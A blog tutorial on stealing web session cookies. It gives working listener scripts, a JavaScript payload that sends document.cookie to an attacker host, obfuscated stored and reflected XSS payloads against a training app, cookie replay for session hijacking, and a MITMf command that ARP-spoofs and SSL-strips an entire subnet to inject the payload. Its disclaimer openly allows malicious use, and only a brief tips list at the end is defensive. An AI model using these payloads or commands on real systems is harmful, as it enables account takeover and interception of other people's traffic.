Web hacking #1 - Cookies interception 101

Disclaimer: You are free to use presented knowledge for educational purposes, with good intentions (securing web applications, penetration testing, ctf’s etc.), or not. I am not responsible for anything you do.


This article will explain some of the common HTTP state interception methods.

At the base of our actions we need a listener.

Due to mixed content restrictions in modern browsers you’ll often need to use HTTPS protocol capable web server.
You can write your own or use httpd like Apache.

If your target is outside the NAT then corresponding port forwarding will be needed too.
You can also use a web service similar to Requestbin (public hosting discontinued unfortunately).

Below I am giving out a very simple solution written in python3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
#https.py

import http.server
import ssl
import sys

class S(http.server.BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()

def do_GET(self):
self._set_headers()
print(self.path)
cookie=self.path.split("xss=")[1]
print("Cookie: "+cookie+"\n")
with open('cookies.txt', 'a') as xss:
xss.write(cookie+"\r\n")

def run(server_class=http.server.HTTPServer, handler_class=S, port=443):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile=sys.argv[1], server_side=True)
print('[*] Serving at '+str(server_address))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()

if __name__ == "__main__":
if(len(sys.argv) == 2):
run()
else:
print("Specify cert file")
sys.exit(1)

1
2
3
4
5
#!/bin/bash
#Generate a certificate
openssl req -new -x509 -keyout custom_cert.pem -out custom_cert.pem -days 365 -nodes &&
#Run the server as root (we need root to listen on ports below 1024).
sudo python ./https.py ./custom_cert.pem;

You can then connect to it and test if it works.

1
openssl s_client -connect localhost:443

GET /?xss=PHPSESSID=ThisIsMySessionCookieForTesting HTTP/1.1

For the case of my article I’ve chosen to use simple built-in PHP http server as we are not interacting with SSL traffic.

Let’s create something quick in PHP language.

1
2
3
4
5
6
7
//index.php:
<?php
if(isset($_GET['xss'])){
$string = $_GET['xss'];
$handle = fopen('xss.txt', 'a');
fwrite($handle, $string."\n");fclose($handle);
}?>

Example above is saving the GET xss parameter from incoming requests into a file named xss.txt.

In shorter words it just saves the received cookie into a file.

Start the server with elevated privileges.

1
sudo php -S 0.0.0.0:80 -f index.php -t .

  • -S 0.0.0.0:80 - Listen on all interfaces, port 80
  • -f index.php - Specified file to parse
  • -t . - Directory root (dot means current directory)

The main point for now is to make the client send a request into our listener.

1
2
3
//payload.js
//My interface IP address: 192.168.1.101
new Image().src="http://192.168.1.101/?xss="+document.cookie;

Basically we are creating a new image object, source of which points to our listener at 192.168.1.101, and while it is requesting to load a fake image, we capture the URL parameter containing the cookie.

At first let’s test it locally with help of the developer console and then we’ll move out to injecting a script in non-physical access based situations.

Open up a developer console (F12) and test the payload.

Payload execution
If you’ve had received the cookie, then you’ve done everything correctly. Congratulations 😀


We can set it with javascript.

1
2
//Setting the cookie in a javascript capable browser.
document.cookie = "PHPSESSID=rqc8ictmojuag6c4k464end6n4";

Setting the cookie with JS
We can also set it in the storage tab.

Setting the cookie in the storage tab
If you craft requests by hand, pass the cookie manually in the HTTP request header.

Putting the cookie into a proxied request using Burp Suite
After refreshing you can notice that we are logged in.


Let’s move to the basic XSS topic.


Browsers’ javascript parsers allow for client side, cross site code execution. - Cross Site Scripting.

The first XSS exploitation technique I will showcase is called stored XSS. We will be targetting a vulnerable input that allows us to add an unsanitized comment. The exploitation is persistent as the payload is being constantly red from the database.

Infographic showing stored XSS

For encoding I used one of the Jim Stiles’ javascript utilities.

1
2
3
4
<!-- Comment contents 
I encoded the payload in char code and then used eval to run it on body load event -->
Wow, I really like your site
<body onload=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,49,47,63,120,115,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>

Crafting a comment

  • Once the user logs in and reads the comments, we get his cookie.

Different user opens the page

Another technique is called reflected XSS and this time we will need the user to click on a prepared link that injects the payload using an unsanitized input.

Generally, if there is a field that loads a string from the URL and does not filter anything before rendering it, then Reflected XSS is possible.


There is a vulnerable search field on this web app, let’s exploit it and send our link to the user.

Encoding the payload with Burp Suite assistance

1
2
// This is the same payload, but I encoded it for URL and added "White Dog" before.
http://wackopicko.com:8080/pictures/search.php?query=White%20Dog%3c%62%6f%64%79%20%6f%6e%6c%6f%61%64%3d%65%76%61%6c%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%31%30%2c%31%30%31%2c%31%31%39%2c%33%32%2c%37%33%2c%31%30%39%2c%39%37%2c%31%30%33%2c%31%30%31%2c%34%30%2c%34%31%2c%34%36%2c%31%31%35%2c%31%31%34%2c%39%39%2c%36%31%2c%33%34%2c%31%30%34%2c%31%31%36%2c%31%31%36%2c%31%31%32%2c%35%38%2c%34%37%2c%34%37%2c%34%39%2c%35%37%2c%35%30%2c%34%36%2c%34%39%2c%35%34%2c%35%36%2c%34%36%2c%34%39%2c%34%36%2c%34%39%2c%34%38%2c%34%39%2c%34%37%2c%36%33%2c%31%32%30%2c%31%31%35%2c%31%31%35%2c%36%31%2c%33%34%2c%34%33%2c%31%30%30%2c%31%31%31%2c%39%39%2c%31%31%37%2c%31%30%39%2c%31%30%31%2c%31%31%30%2c%31%31%36%2c%34%36%2c%39%39%2c%31%31%31%2c%31%31%31%2c%31%30%37%2c%31%30%35%2c%31%30%31%29%29%3e

Unwary user clicks on a malicious link
Cookie hijacked


Last technique I will cover in this article does not need precision to succeed.
It involves sniffing on the network, redirecting HTTPS traffic into HTTP, proxying the packets and then injecting the payload in real time.

We will use a great framework made by Marcello Salvati.

Before running, let’s take a look at the source code.

As we can see, the framework takes care of most of the boring administrative tasks for us automatically. There is no need to manually set ipv4 forwarding or write iptables rules.
The framework can efficiently spoof the ARP cache of the whole subnet. I will explain in steps how it works. At first we need to resolve the MAC address of targetted devices. We send an ARP 'who-has' request.
Then we announce that we have the MAC address of a gateway (router in this case). By doing that, all the devices are being tricked to send the packets at us after being routed. .
After we become a man-in-the-middle, we can process the packets and serve whatever we want to the victim devices. In this case, we will intercept HTTP responses and then include a malicious javascript code inside them. We can also sniff the cookies just by intercepting the requests at this point, but we will perform a javascript injection to make it even more sophisticated. The possibilities are endless after the web browser gets trojanized with injected code.
The injection module uses BeautifulSoup with simple html parser to find a document body and append the payload into it. If we've hosted our payload on some server, we could inject it automatically in an < iframe > tag after specifying the URL.

Let’s change the payload to a different port:

1
2
//payload.js
new Image().src="http://192.168.1.101:8000/?xss="+document.cookie;

It is time for the framework to do the work for us.

1
2
sudo php -S 0.0.0.0:8000 -f index.php -t . &
sudo mitmf -i wlp2s0 --inject --js-file /home/krystian/xss/payload.js --spoof --arp --hsts --netmask 192.168.1.0/24 --gateway 192.168.1.1
  • -i wlp2s0 - Use interface wlp2s0
  • –inject –js-file /home/krystian/xss/payload.js - perform javascript injection on a stripped content
  • –spoof - spoof the packets
  • –hsts - try to strip SSL
  • –netmask 192.168.1.0/24 - set network mask
  • –gateway 192.168.1.1 - set the gateway

After a while, we could notice that every single device on the network sends us cookies from most of the HTTP requests they’ve sent.


Successfull MiTM cookie sniffing

How to avoid losing cookies?

  • Web devs - sanitize your inputs.
  • Verify whether sites you own do not contain something unexpected in the source code or the database.
  • Do not trust every email.
  • Verify what links you click on.
  • Ring a bell when your connection suddenly loses SSL. (Verify the padlock icon in a web browser)
  • Connect only to trusted networks. (Open WiFis are not trusted)
  • If you detect a Man in the Middle attack in your packet captures, do not ignore the threat.
  • Turn off javascript. (When you are desperate… 😀)

I wish you a good luck 😎